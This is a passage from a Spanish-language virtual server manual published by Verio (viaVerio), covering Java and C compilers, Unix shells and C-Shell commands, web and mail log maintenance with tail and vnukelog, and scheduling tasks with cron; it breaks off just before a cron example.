viaVerio (http://www.viaverio.com/)

Nociones de Java
Java es un lenguaje de programacin diseado por Sun Microsystems, que ofrece muchos beneficios al profesional de programacin y desarrollo de aplicaciones. Java es un lenguaje compilado en bytes totalmente portable. Puede ejecutar el mismo binario Java (o clase de Java, como se lo denomina ms correctamente) sobre una amplia variedad de plataformas de sistemas operativos. En algunas circunstancias, Java es mucho ms rpido que los lenguajes interpretados (por ejemplo, TCL, Perl) pero no puede ejecutarse con la misma velocidad que los lenguajes totalmente compilados (C, C++). Gracias a su portabilidad, Java se adapta perfectamente a la World Wide Web. Con un navegador habilitado para Java, los diseadores web pueden incorporar pequeas aplicaciones a su contenido web, que se bajan de Internet con el contexto del documento web y luego se ejecutan en la computadora local. Adems, agregan interactividad, animacin, multimedios o interfases de base de datos a un sitio para hacerlo ms original y divertido.

Programacin con Java Virtual Machine


En el corazn del lenguaje de programacin Java se encuentra Java Virtual Machine, cuya implementacin en es un requisito indispensable para ejecutar una clase o pequea aplicacin de Java. Por ejemplo, tanto el Netscape Navigator como el Microsoft Internet Explorer incluyen una implementacin de Java Virtual Machine (a la que suele denominarse sistema de tiempo de ejecucin Java). Java Virtual Machine es el motor que ejecuta un programa Java. Cuando se ejecuta un programa Java, las instrucciones no son directamente ejecutadas por el hardware del sistema local, sino que un intrprete del procesador virtual revisa las instrucciones paso a paso y lleva a cabo la accin que le indican. Por ms abstracto que parezca, brinda cierta proteccin entre la computadora y el software que se ejecuta en ella. Con Java Virtual Machine, es fcil insertar protecciones para que un programa no se comporte maliciosamente, por ejemplo, borrando archivos del disco o arruinando la memoria.

Uso de Java en el Servidor Virtual


Hay varias herramientas Java actualmente disponibles en el Servidor Virtual. Las herramientas son compatibles con la versin 1.0.2 de la especificacin Java, la cual tiene soporte en todos los navegadores habilitados para Java. Las herramientas Java incluidas en el Servidor Virtual son: javac Compilador de cdigo byte Java java - Java Virtual Machine (intrprete) y Compilador JIT

Compilador de cdigo byte Java (javac) javac convierte el cdigo fuente Java (archivos .java) en archivos .class que contienen el cdigo byte para la clase. Ejemplo:

% javac Test.java
Donde Test.java es un archivo de cdigo fuente. El archivo de clase resultante luego puede incorporarse en el contenido Java. Si usted tiene un navegador habilitado para Java, puede verificar el ejemplo de la pequea aplicacin.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

149

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Java Virtual Machine (Intrprete) y compilador JIT Java Virtual Machine es un intrprete para cdigo byte Java. Tambin incluye un generador de cdigo (just in time / JIT). JIT es una tcnica para acelerar la ejecucin de programas interpretados. La idea es que, justo antes de que un mtodo se ejecute por primera vez, el cdigo byte Java para el mtodo, que es independiente de la mquina, se convierta en cdigo de mquina nativo. Este cdigo de mquina nativo luego puede ser ejecutado por la computadora en forma directa, y no a travs de un intrprete. El generador de cdigo JIT aumenta sustancialmente la velocidad del cdigo byte interpretado a casi la velocidad del cdigo compilado. Ejemplo:

% java Test
Con esto se ejecuta el cdigo byte Test.class compilado con el compilador de cdigo byte javac (vea ms arriba). El tipo de Java Virtual Machine instalado en los servidores es java_x 1.18.Kaffe 0.84.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

150

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nociones de lenguajes compilados


Entre los compiladores disponibles se encuentran gcc, cc y otros. La forma general de compilar un programa escrito en C sera:

% gcc -o filename.out filename.c


donde filename.c es el archivo fuente y filename.out es el nombre que usted desea darle al binario. cc, gcc y g++ tienen muchas opciones de lnea de comandos. Si desea ampliar la informacin, consulte las pginas Man:

% man gcc % man cc


Por ltimo, existen pginas man para algunas funciones de librera estndares, como malloc(). El ejemplo con malloc() resulta especialmente pertinente, dado que esa y otras funciones relacionadas estn almacenadas en el archivo de encabezado stdlib.h (que usted puede averiguar en las pginas man, pero que es difcil de encontrar en otro lado).

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

151

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nociones de lenguajes Shell


UNIX es un sistema operativo que permite la interaccin en muchas formas distintas, las cuales en general tienen que ver con un shell. Algunos shells que vienen con el Servidor Virtual son: bash csh ksh Shell GNU Bourne-Again Un shell (intrprete de comandos) con sintaxis similar a C Shell Korn de dominio pblico

scotty Shell TCL que incluye extensiones tnm sh tclsh tcsh zsh Intrprete de comandos (shell) Shell simple que contiene intrprete TCL C-Shell con realizacin de nombre de archivo y edicin de lnea de comando Z-shell

Nota: C-Shell (csh) es el shell predeterminado en su Servidor Virtual. Se puede acceder a informacin sobre cada uno de estos shells desde una consulta de pgina man:

% man csh
Usted puede cambiar un shell de ingreso predeterminado del Servidor Virtual usando el comando chsh. Al ejecutarse, el comando inicia todo lo que usted haya definido como editor predeterminado y le permite cambiar los siguientes datos: Informacin de base de datos de usuario para Servidores Virtuales Shell: /bin/csh Nombre completo: viaVerio Ubicacin: Telfono comercial: Telfono particular:

Cambio del shell /bin/csh por /bin/tcsh 1. 2. Cambie la ruta del shell por Shell: /bin/tcsh. Guarde el archivo. El shell entrar en vigencia la prxima vez que se conecte al Servidor Virtual.

C-Shell
Como C-Shell es el estndar del Servidor Virtual, es conveniente saber cmo funciona. Cada lenguaje shell es adems un intrprete. Los shells pueden usarse, como Perl u otros lenguajes interpretados, para escribir scripts o para automatizar tareas de administracin de sistemas. Por ejemplo, un simple script csh sera:

#!/bin/csh echo "Content-type: text/plain" echo "" printenv

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

152

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nota: Si este script se invocara desde la web, el entorno del usuario sera provisto al navegador. C-Shell le permite: Conduce la salida de un programa en la entrada de otro programa Usar el asterisco ("*") para abreviaturas de nombre de archivo comodn Usar las variables shell (como $HOME) para personalizar el entorno Acceder a comandos anteriores (historia de comandos) Crear alias (como el alias www en el directorio $HOME) en un programa shell

Los archivos de configuracin C-Shell se encuentran en el directorio $HOME: .cshrc Se ejecuta cada vez que se genera un nuevo shell (cada vez que se conecta va Telnet con el Servidor)

.history guarda una lista de comandos ejecutados desde la lnea de comandos .login Despus de que se ejecuta el archivo .cshrc, se ejecuta .login.

.logout Es ejecutado por el shell cuando el usuario se desconecta.

Otros archivos de configuracin importantes que se pueden encontrar en el directorio ~/etc/: Archivo de claves Archivo sendmail Archivo de alias

Informacin adicional sobre C-Shell Conctese al Servidor Virtual a travs de Telnet. En la lnea de comandos, escriba:

% man csh
Nota: Tambin puede usar esta tcnica para obtener ms informacin sobre otros shells, como ksh. Informacin adicional sobre los comandos de C-Shell Conctese al Servidor a travs de Telnet. En la lnea de comandos escriba:

% man ls
Nota: Reemplace ls por el comando sobre el cual desea mayor informacin.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

153

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

C-Shell (CSH): Comandos y descripciones Comando #A comment Descripcin Un script que tiene el smbolo # como primer carcter se considera un script CSH Se usa para especificar un shell diferente para el script. Reemplace el nombre shell con la ruta al shell (incluyendo Perl) que desee usar para el script. Devuelve un estado de salida de Cero. Smbolo comodn, va con cualquier valor. Asigna un valor de una expresin aritmtica al alias variable. Le permite asignar un alias para un comando UNIX.

#!shell

Null * @

Si usa DOS, tal vez le convenga realizar alias para comandos DOS que pueda confundirse con comandos UNIX. Guarde los comandos en el archivo .cshrc. Si usted sobreesribe la convencin UNIX estndar, invoque el original anteponiendo al comando la barra inclinada, ingresando:

% /ls
en lugar de:

% ls
UNIX: Comandos y descripciones Comando bg break breaksw case cd chdir continue default dirs echo end endif eval Descripcin Poner el trabajo actual en segundo plano. Reanudar la ejecucin (salir del loop while o foreach) Salir de la sentencia switch Identificar un patrn en una sentencia switch Cambiar directorio. Cambia al usuario en forma predeterminada al directorio raz Igual que cd Reanudar la ejecucin del loop while o for each Etiquetar el caso predeterminado en una sentencia switch Imprimir la pila de directorios Escribir la cadena suministrada a stdout Finalizar una sentencia foreach o switch Finalizar una sentencia if En general se le pasa un argumento a Eval . Resuelve la variable y luego ejecuta el comando resultante.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

154

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comando exec exit fg foreach/end glob Ejecutar un comando Salir de un script shell

Descripcin

Traer el trabajo a primer plano (ver bg) Ejecutar un loop foreach Similar a echo, excepto que no se reconocen escapes \. Suele usarse en scripts para hacer que un valor se mantenga igual el resto del script. Salta a una lnea que comienza con la cadena que usted especifica luego del comando goto Presenta las estadsticas que muestran el nivel de xito de la localizacin de comandos con la variable path Mostrar una lista de eventos Empezar una sentencia condicional Listar todos los trabajos en marcha o parados Terminar el/los ID de proceso o de trabajo especificados Matar el nmero de ID de proceso dado, comnmente encontrado a travs de un comando ps -auxw

goto hashstat history if Jobs-1 kill options id kill (proc id)

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

155

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

UNIX: Seales y funciones Nombre HUP INT QUIT ABRT KILL ALRM TERM limit login logout nice nohup Notify onintr popd pushd rehash No. 1 2 3 6 9 14 15 Cortar Interrumpir Salir Cancelar Matar (no puede atraparse ni pasarse por alto) Reloj despertador Seal de terminacin de software Mostar lmites establecidos sobre un proceso o todos los lmites si no se proporcionaron argumentos Reemplazar el shell de ingreso de los usuarios por /bin/login Terminar shell Cambiar prioridad de ejecucin por un comando especificado Evita que el comando termine antes de que se cierre la lnea de terminal Informa inmediatamente cuando se termina un trabajo en segundo plano "On Interrupt" maneja las interrupciones en scripts Sacar un valor de la pila Poner un valor en la pila Recalcular la tabla hash para la variable PATH (cuando se crea un comando nuevo, hay que ejecutar rehash para que la tabla encuentre el comando) Ejecutar un comando la cantidad de veces especificada Fijar un valor para una variable Asignar un valor a un nombre de variable de entorno Rota las variables de lista de palabras. Por ejemplo, name [2] se convierte en name [1]. selo para obtener valores de una lista de palabras en un script. Leer y ejecutar comandos en un script CSH . Por ejemplo, si agrega o modifica su archivo.cshrc puede hacer un source .cshrc. Detener la ejecucin de un trabajo en el fondo. Funcin

Repeat Set Setenv shift

source

stop

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

156

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nombre suspend switch

No.

Funcin Suspender el trabajo actual en el frente (<ctrl>-z) Configurar un argumento donde lo que se ejecuta depende del valor de la variable que se est correlacionando. Se usa junto con la variable case. Ejecutar un comando para mostrar cunto tiempo usa. selo en un script shell para saber cunto tard en ejecutarse. Mostrar o establecer la mscara de creacin de archivos. Quitar un alias de la lista de alias Eliminar la tabla hash interna (y en cambio usar la ruta para la variable PATH) Eliminar los lmites de asignacin en el recurso Eliminar una o ms variables (segn lo fija el comando set) Eliminar una variable de entorno No ejecutar hasta que todos los trabajos del fondo hayan terminado While loop (mientras)

time

umask unalias unhash unlimit unset unsetenv wait while/end

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

157

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin Adicional
Si desea informacin adicional sobre los temas tratados en este captulo, consulte las siguientes pginas en el sitio web de viaVerio.

Instalacin de mdulos Perl


http://www.viaverio.com/support/addonhelp/proglang/perl5/modules.html

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

158

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Captulo 8: Mantenimiento del Servidor Virtual


El administrador del Servidor Virtual es responsable de las tareas de mantenimiento diario del servidor. Estas responsabilidades pueden variar segn los programas que se ejecuten en el servidor. Este captulo cubre los siguientes temas: Mantenimiento de los registros del servidor Administracin con cron Administracin de la capacidad Administracin de la carga del servidor virtual Administracin de los usuarios Copias de resguardo (Backups) Resolucin rpida de problemas Informacin adicional

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

159

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Mantenimiento de los registros del servidor


El Servidor Virtual tiene tres tipos de archivos de registro: correo electrnico, FTP y web. Estos registros contienen datos para diagnstico, tiles e informacin valiosa sobre las personas que visitan su sitio web. Sin embargo, pese a su gran utilidad, los registros pueden causar problemas si no se mantienen adecuadamente.

Mantenimiento del registro de correo electrnico y FTP


El archivo de registro para correo electrnico, FTP y ingresos es ~/var/log/messages. Este archivo de registro se usa principalmente como herramienta de resolucin rpida para diagnosticar problemas de correo electrnico. Cada vez que un mensaje pasa por el servidor SMTP virtual, sendmail registra la transaccin. Tambin quedan registradas las transacciones cada vez que un usuario verifica su casilla de correo a travs del servidor POP o IMAP. Sin embargo, si usted se conecta al Servidor Virtual usando Telnet o SSH, estas sesiones no quedan registradas en var/log/messages. El archivo ~/var/log/messages contiene entradas de registro de diversos programas. Cada entrada, una por lnea, contiene lo siguiente: Fecha (registra la fecha y la hora de la entrada de registro). El nombre del programa que lo origin. El texto de la entrada de registro.

Visualizacin del archivo ~/var/log/messages Desde la lnea de comandos del Servidor Virtual, escriba:

% tail -f ~/var/log/messages
El comando tail imprime las ltimas diez lneas del archivo nombrado. La opcin f le permite seguir el archivo a medida que crece. Salga con <ctrl>-c. Como el archivo ~/usr/log/messages tiende a hacerse demasiado grande con el tiempo, es necesario resetearlo peridicamente. Reseteo del archivo ~/var/log/messages Desde la lnea de comandos del Servidor Virtual, escriba:

% cat /dev/null > ~/var/log/messages


Esta accin elimina todos los archivos del registro. Nota: Antes de resetear el archivo, prepare copias para archivar, si fuera necesario. Una opcin es archivar los archivos con tar o zip y luego copiarlos del servidor a la computadora local usando FTP. Otra opcin es usar el comando vnukelog -r . Sin embargo, este comando, adems del archivo de mensajes, resetea los archivos de registro del servidor web. El comando vnukelog se explica en ms detalle ms adelante en este captulo.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

160

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Mantenimiento de los registros web


Una parte importante de su negocio probablemente dependa de la informacin detallada que usted pueda obtener acerca del trfico en su sitio web. En el servicio web del Servidor Virtual es fcil acceder a esa informacin estadstica. Esta seccin cubre los siguientes temas relativos al mantenimiento de los registros web del Servidor Virtual: Formato de registro del servidor web Anlisis de archivos de registro Rotacin y limpieza de archivos de registro

Formato de registro del servidor web


El servicio web del Servidor Virtual registra todo el trfico en el sitio web en archivos de registro ubicados en el directorio ~/www/logs. El Servidor Virtual est preconfigurado para utilizar el formato de registro combinado. Toda la informacin se registra en los dos archivos de registro siguientes: access_log (registra toda la informacin de acceso, agentes y referencias)

error_log
En estos archivos se registra el volumen de actividad de cada pgina en el sitio web, el tipo de navegador usado para acceder a cada una, los errores que los usuarios recibieron cuando intentaron bajar pginas del sitio y desde dnde se refiri o deriv a los usuarios para acceder a las pginas de su sitio. Como alternativa, usted puede configurar el Servidor Virtual para que la actividad de registro se realice en el formato de registro comn, modificando el archivo de configuracin del servidor web (~/www/conf/httpd.conf). En el formato de registro comn, toda la informacin se registra en cuatro archivos:

access_log agent_log referrer_log error_log


El formato de registro y dems actividad de registro se basa en las directivas que usted define en el archivo de configuracin httpd.conf. Las definiciones de directivas predeterminadas deberan ser apropiadas para la mayora de los casos. Sin embargo, puede modificarlas si necesita definir formatos de archivos de registro (o desactivar la funcin de registro). Consulte el Captulo 6, Configuracin avanzada del servidor web, para ver un anlisis pormenorizado de las directivas de registro. Recuerde que cuando se configura el Servidor Virtual, las preferencias de registro predeterminadas se fijan en el formato de registro combinado: Tipo de archivo de registro ErrorLog TransferLog AgentLog ReferrerLog Nombre de archivo de registro error_log access_log access_log access_log

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

161

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Utilizacin del registro de errores


Las entradas se anexan al registro de error cuando el servidor encuentra un error mientras intenta recuperar un recurso solicitado. Use el archivo de registro de errores como herramienta de diagnstico. Bjelo peridicamente y fjese qu contiene, para descubrir vnculos rotos en su sitio o vnculos externos en otro sitio. Visualizacin de las ltimas entradas en el archivo error_log 1. 2. 3. Conctese al Servidor Virtual a travs de Telnet o SSH. Posicinese en www/logs como directorio de trabajo actual, ingresando:

% cd ~/www/logs/
Desde el directorio logs, escriba:

% tail -f error_log
Nota: El comando tail imprime las ltimas diez lneas del archivo nombrado. La opcin f le permite seguir el archivo a medida que crece. Salga con <ctrl>-c. Puede controlar el nivel de detalle del archivo de registro de errores con la directiva LogLevel del archivo httpd.conf. Prueba del registro de errores Con el navegador, abra la siguiente URL: http://www.su_empresa.com/un-archivo.html Suponiendo que el archivo un-archivo.html no existe, se agregar una nueva entrada al archivo de registro de errores, del estilo de:

[date and time] access to /usr/local/etc/httpd/htdocs/bogus-filename.html failed for some.remote.host, reason: File does not exist

Utilizacin del registro de accesos


Si el archivo de registro no est vaco, el comando tail muestra un eco de las ltimas entradas en el archivo de registro de accesos. Cada lnea de entrada representa una solicitud de recurso hecha al servicio web virtual. Visualizacin de las ltimas entradas en el archivo de registro de accesos 1. 2. Conctese con el Servidor Virtual a travs de Telnet o SSH. Posicinese en el directorio www/logs como su directorio de trabajo actual ingresando:

% cd ~/www/logs/
3. Desde el directorio logs, escriba:

% tail f access_log
Prueba del registro de acceso Use el navegador para acceder a la pgina de ndice principal del Servidor Virtual. Al acceder a la pgina con el navegador, las nuevas entradas de registro se anexan al archivo de registro, y se muestran de la siguiente manera:

some.IP.address - user - [access date and time] "request" status bytes_sent file_sent referrer agent

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

162

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nota: Puede salir del comando tail con "<ctrl>-c" en cualquier momento. Formato de registro de accesos Cada entrada en el registro de accesos est formada por seis partes especficas. Considere el siguiente ejemplo:

Algn.host.remoto - usuario - [19/Aug/1998:13:48:56 0600] "GET /index.html HTTP/1.0" 200 4817 "http://www.yahoo.com" "Mozilla/4.75 [en] (Windows NT 5.0; U)"
En este ejemplo, el 19 de agosto de 1998 a la 1:48:56 de la tarde un host remoto algn.host.remoto solicit la URL index.html usando un navegador compatible con http/1.0. El servidor encontr el recurso solicitado (cdigo de estado 200) y lo devolvi al cliente. El documento tena una longitud de 4817 bytes. La solicitud vino de un vnculo en una pgina de inicio de Yahoo (el sitio que la refiri o deriv) y el navegador del usuario era Netscape Navigator v4.75 (Mozilla es el nombre con el que se identifica Netscape en los servidores web). La tabla explica el ejemplo en ms detalle: Parte del registro de accesos Nombre de host ID de usuario Ejemplo de entrada Alguna.direcc in.IP Usuario Descripcin

Representa la direccin IP del host remoto que solicit el recurso. Indica el ID de usuario que se requiri para acceder al recurso solicitado. Si el recurso que se solicit no requiere autenticacin del usuario, este campo de datos se deja en blanco. [Encerrada entre corchetes], la entrada de registro informa fecha y hora (incluyendo segundos) La solicitud de recurso est formada por tres campos de datos: 1) el mtodo de la solicitud (GET, POST, etc.), 2) la URL local del recurso solicitado, 3) la versin http usada por el cliente (que en la mayora de los casos es http/1.0). Los cdigos de estado http van del 200 al 599. Los valores entre 200 y 299 indican respuestas exitosas. Los valores entre 300 y 399 indican redireccin (el recurso en la URL solicitada fue redirigido a otra ubicacin). Los valores de 400 o ms indican que la solicitud encontr un error.

Sello de fecha Solicitud de recurso

[19/Aug/1998: 13:48:56 0600] "GET /index.html HTTP/1.0"

Cdigo de estado numrico que representa la respuesta del servidor a la solicitud Tamao exacto (en bytes) del recurso solicitado

200

4817

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

163

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Parte del registro de accesos Sitio que hizo la referencia o derivacin Agente

Ejemplo de entrada "http://www.y ahoo.com"

Descripcin

Un registro del documento desde donde se solicit el recurso (por ejemplo, si el usuario viene de un sitio de Yahoo, esa informacin queda registrada). El log de agente es simplemente una lista de los navegadores (o araas) que acceden al sitio web. Cada vez que el sitio recibe una solicitud, queda registrado el tipo de navegador que la hizo.

"Mozilla/4.75 [en] (Windows NT 5.0; U)"

Anlisis de archivos de registro


La cantidad de datos reales registrados en los archivos de registro del servidor web es impresionante, incluso en los sitios con relativamente poco trfico. Para entender los datos, se necesita un programa de anlisis de archivo de registro que procese, analice y genere informes. Afortunadamente, hay muchos programas disponibles para eso.

WebTrends
WebTrendsTM (http://www.webtrends.com) es un software de anlisis de registro de servidor web que produce informes grficos sobre el trfico en el sitio. WebTrends resulta fcil de usar por su interfase amigable. Configure WebTrends para bajar los archivos de registro web del Servidor Virtual a su computadora y luego cree la cantidad de informes estadsticos profesionales que desee. Los informes generados pueden ser almacenados localmente en su computadora o subidos automticamente de vuelta al Servidor Virtual.

Otros programas de anlisis de registros


Hay otros programas de anlisis que pueden instalarse directamente en el Servidor Virtual. La mayora analiza los archivos de registro instalados en el servidor web y luego genera informes HTML, de texto o correo electrnico acerca del trfico del servidor web. Hemos puesto varias de estas herramientas a su disposicin, incluso http-analyze, analog y The Webalizer. Estos paquetes de software son un poco ms difciles de usar porque deben ejecutarse desde la lnea de comandos, pero su instalacin es simple y gratuita. Si desea ampliar la informacin sobre los paquetes de software de anlisis, consulte el sitio web de viaVerio. Nota: Algunos programas de anlisis de registros requieren un formato de registro especfico (combinado o comn). Asegrese de que el formato de registro configurado en su Servidor Virtual sea el que corresponde al programa de anlisis que usted seleccione.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

164

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Rotacin y limpieza de archivos de registro


Los registros pueden crecer rpidamente y deben ser rotados. Despus de ejecutar el programa de estado que usted elija, limpie los registros. El comando para limpiarlos es vnukelog. Este comando sirve para limpiar el archivo ~/usr/log/messages, as como los archivos de registro del Servidor Virtual y del subhost virtual. Utilice el indicador -h para ver todas las opciones vnukelog:

% vnukelog -i Usage: vnukelog [-h] [-i] [-r] -h -i -r display this message enter interactive mode nuke root server logs only

Use el comando vnukelog sin ningn indicador para limpiar el archivo ~/usr/log/messages y todos los archivos de registro del Servidor Virtual y del subhost virtual:

% vnukelog
Use el indicador -r para limpiar slo los archivos de registro del Servidor Virtual y dejar intactos los del subhost virtual:

% vnukelog -r
Use el indicador -i para entrar en la modalidad interactiva que le permite limpiar slo los archivos del Servidor Virtual y del subhost virtual que elija.

% vnukelog -i
Es importante generar informes de estado con frecuencia semanal o mensual. Le recomendamos usar cron para generar los informes y rotar los registros en forma automtica.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

165

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Administracin con cron


El programa cron le permite programar las tareas para que se hagan en forma automtica. cron, permite programar eventos para que se produzcan en forma diaria, semanal, mensual, a cada hora o en el momento que desee. Cualquier comando o conjunto de comandos que ejecute desde la lnea de comandos va Telnet se puede ejecutar desde cron. Si desea informacin detallada sobre cron, conctese con el servidor mediante Telnet y escriba man 5 cron tab en la lnea de comandos. Gran parte de la informacin en esta seccin se toma de la pgina man (manual) escrita por Paul Vixie. Cada Servidor Virtual puede cargar su propio trabajo cron para ejecutar trabajos programados. La mejor forma de usar cron es cargar los trabajos programados en el daemon cron desde un archivo que usted cre y guard en el Servidor Virtual. A pesar de que es posible manipular cron directamente, la carga de los trabajos cron desde archivos preformateados le asegura tener otra copia para fines de edicin y archivo. Una ubicacin comn para poner el archivo cron es un directorio llamado cronfiles en el directorio ~/etc . Creacin del directorio cronfiles 1. 2. Conctese al Servidor Virtual a travs de Telnet. Escriba:

% cd ~/etc % mkdir cronfiles


Puede guardar el / los archivo/s con la informacin cron en este directorio. Despus de crear el archivo cron, crguelo en el programa cron (daemon). Carga de un archivo en el programa cron Cambie al directorio donde est ubicado el archivo en el Servidor Virtual.

% cd ~/etc/cronfiles
Si coloc un archivo cron en el directorio llamado mi_archivo_cron, cargue el archivo en el programa cron ingresando: % crontab mi_archivo_cron Una copia del archivo cron que usted cre queda en la memoria del programa cron. Para ver la copia de cron en la memoria, puede invocar el programa cron con la opcin -l (listar): % crontab -l cron tiene otras opciones de lnea de comandos, como editar y eliminar. Estos comandos le permitirn manipular la informacin que cron tiene en la memoria. Por ejemplo, si desea agregar otro evento a la informacin cron, puede usar la opcin crontab -e: % crontab -e

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

166

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Esta opcin toma la copia de la entrada almacenada en la memoria del programa cron y le permite editarla. Sin embargo, esta opcin no es mejor como cambiar el archivo fsico y volver a cargarlo en cron, porque los cambios no se guardan fsicamente en ningn lugar excepto en la memoria de cron. % crontab -r Con esto se elimina la entrada cron que usted acaba de cargar. Nota: Si usted cre una entrada cron con crontab -e y ejecuta crontab -r, perder la entrada cron para siempre. Esta es una buena razn para mantener una copia fsica del archivo cron y cargarla en la memoria.

Creacin de archivos cron


En un archivo cron, las lneas en blanco se pasan por alto. Las lneas que tienen el smbolo de numeral (#) como primer carcter se consideran comentarios. Existen dos tipos de entradas cron: variables del entorno y comandos cron. Variables del entorno Las variables del entorno tienen la siguiente forma:

nombre = valor
Los espacios antes y despus del signo igual son optativos y los espacios en el valor se incluirn en el valor que se configure. La cadena del valor puede colocarse entre comillas (simples o dobles) para preservar los espacios al inicio o al final. Una variable de entorno que puede configurarse es MAILTO. Si se define la variable MALITO, cualquier correo enviado por cron, tales como notificaciones de error, se enviar a la direccin asignada a la variable. Si este valor no est definido explcitamente, los mensajes de correo de error se enviarn al nombre de usuario del administrador del Servidor virtual. Por ejemplo, si el nombre de usuario del administrador (es decir, nombre de usuario Telnet) es juan, los correos administrativos del daemon cron se enviarn a juan@su_empresa.com. Un ejemplo de la entrada MAILTO es:

MAILTO=johndoe@su_empresa.com
Si MAILTO se define de la siguiente manera, no se enviarn correos desde cron:

MAILTO=""

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

167

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Configuracin de comandos cron Cada entrada de comando en un archivo cron est compuesta por una serie de campos que cron usa para determinar qu evento ejecutar en una fecha y hora determinadas. Los cinco primeros campos (delimitados por espacios) especifican la informacin de fecha y hora de la siguiente manera: Campos de fecha y hora CRON Campos Minuto Hora Da del mes Mes Da de la semana 0-59 0-23 0-31 0-12 (se permiten las tres primeras letras del mes) 0-7 (se permiten las tres primeras letras del da) Valores permitidos

Se puede usar el asterisco como comodn que significa del primero al ltimo. El asterisco se usa para que un evento ocurra para todos los valores permitidos. Por ejemplo, si usted quiere programar sus archivos de registro para que se limpien mensualmente, puede colocar un asterisco en el campo Da del mes. Como imaginar, no sera conveniente colocar un asterisco en el campo Minuto del archivo cron, ya que puede causar una carga muy grande el Servidor Virtual. Se permiten rangos como dos nmeros separados por un guin ("-"). Por ejemplo, si quiere que cron le enve un correo para avisarle que sus impuestos vencen el 15 de abril, con avisos desde enero hasta la fecha de vencimiento en abril, debe crear un archivo cron con el valor 1-4 en el campo del Mes, para que se ejecute de enero a abril. Puede especificar una lista de valores separando los nmeros por coma. Por ejemplo, 1,7,9,10 seran los meses de enero, julio, septiembre y octubre. Los valores a saltar pueden especificarse con el signo /. Por ejemplo, 1-12/2 significara mes por medio. Tambin pueden usarse las tres primeras letras del nombre para los campos de mes y da. Esta opcin no est permitida con rangos o listas. Otros ejemplos de valores vlidos para fecha y hora: Ejemplo 8-12 1,4,5,7 0-4,8-12 0-23/2 */2 Efecto (ejemplos en el campo de la hora) El evento se ejecutar a cada hora en el rango de 8, 9, 10, 11, 12 El evento se ejecutar a cada hora especificada 1, 4, 5, 7 El evento se ejecutar en cada uno de los dos rangos El evento se ejecutar hora por medio 2, 4, 6, 8.... Igual que el anterior

El sexto campo en un archivo cron (el resto de la lnea cron) es donde se coloca el comando que se desea ejecutar. Toda la porcin del comando, hasta el carcter de nueva lnea o el carcter %, ser ejecutada por /bin/sh (o el shell que usted haya especificado con la variable de entorno SHELL). Los signos de porcentaje en el comando, a menos que tengan un escape especificado con una barra inversa (\), se cambiarn por caracteres de nueva lnea y todos los datos despus del primer % se enviarn al comando como entrada estndar.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

168

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Ejemplo de cron para enviar por correo un aviso sobre impuestos:

